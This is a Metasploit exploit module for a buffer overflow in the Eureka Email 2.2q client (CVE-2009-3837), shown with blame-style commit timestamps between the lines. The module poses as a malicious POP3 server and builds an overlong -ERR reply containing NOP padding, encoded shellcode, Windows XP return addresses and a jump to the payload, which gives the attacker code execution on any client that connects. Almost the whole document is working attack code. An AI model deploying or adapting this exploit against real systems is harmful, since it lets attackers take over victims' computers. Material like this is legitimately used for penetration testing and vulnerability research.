2009-12-10 17:34:58 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-10 17:34:58 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-10 17:34:58 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-02-21 01:25:55 +00:00
|
|
|
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',
|
2009-12-10 20:28:32 +00:00
|
|
|
# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
|
|
|
|
# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
|
2009-12-10 17:34:58 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the Eureka Email 2.2q
|
|
|
|
client that is triggered through an excessively long ERR message.
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
NOTE: this exploit isn't very reliable. Unfortunately reaching the
|
2009-12-10 20:28:32 +00:00
|
|
|
vulnerable code can only be done when manually checking mail (Ctrl-M).
|
|
|
|
Checking at startup will not reach the code targeted here.
|
2009-12-10 17:34:58 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Francis Provencher (Protek Research Labs)',
|
2009-12-10 20:28:32 +00:00
|
|
|
'Dr_IDE',
|
|
|
|
'dookie',
|
|
|
|
'jduck'
|
2009-12-10 17:34:58 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-3837' ],
|
2011-10-16 09:53:53 +00:00
|
|
|
[ 'OSVDB', '59262' ],
|
2012-10-23 19:02:09 +00:00
|
|
|
[ 'EDB', '10235' ],
|
2009-12-10 17:34:58 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2009-12-10 20:28:32 +00:00
|
|
|
'EXITFUNC' => 'process',
|
2009-12-10 17:34:58 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2009-12-10 20:28:32 +00:00
|
|
|
'Space' => 700,
|
2009-12-10 17:34:58 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
2009-12-10 20:28:32 +00:00
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
'DisableNops' => true,
|
2009-12-10 17:34:58 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-12-10 17:34:58 +00:00
|
|
|
[
|
2009-12-10 20:28:32 +00:00
|
|
|
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
|
|
|
|
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
|
2009-12-10 17:34:58 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 22 2009'
|
|
|
|
))
|
2009-12-10 17:34:58 +00:00
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-12-10 17:34:58 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
2009-12-10 20:28:32 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-10 20:31:34 +00:00
|
|
|
# the offset to eip depends on the local ip address string length...
|
2009-12-10 20:28:32 +00:00
|
|
|
already = "Your POP3 server had a problem.\n"
|
|
|
|
already << datastore['LHOST']
|
|
|
|
already << " said:\n\n -ERR "
|
|
|
|
space = (512+256+4) - already.length
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-10 20:31:34 +00:00
|
|
|
buffer = "-ERR "
|
2009-12-10 20:28:32 +00:00
|
|
|
buffer << make_nops(space - payload.encoded.length)
|
2009-12-10 17:34:58 +00:00
|
|
|
buffer << payload.encoded
|
2009-12-10 20:28:32 +00:00
|
|
|
buffer << [target.ret].pack('V')
|
|
|
|
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
|
|
|
|
buffer << "\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-10 20:28:32 +00:00
|
|
|
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
|
2009-12-10 17:34:58 +00:00
|
|
|
client.put(buffer)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
handler
|
2009-12-10 20:28:32 +00:00
|
|
|
service.close_client(client)
|
2009-12-10 17:34:58 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-10 17:34:58 +00:00
|
|
|
end
|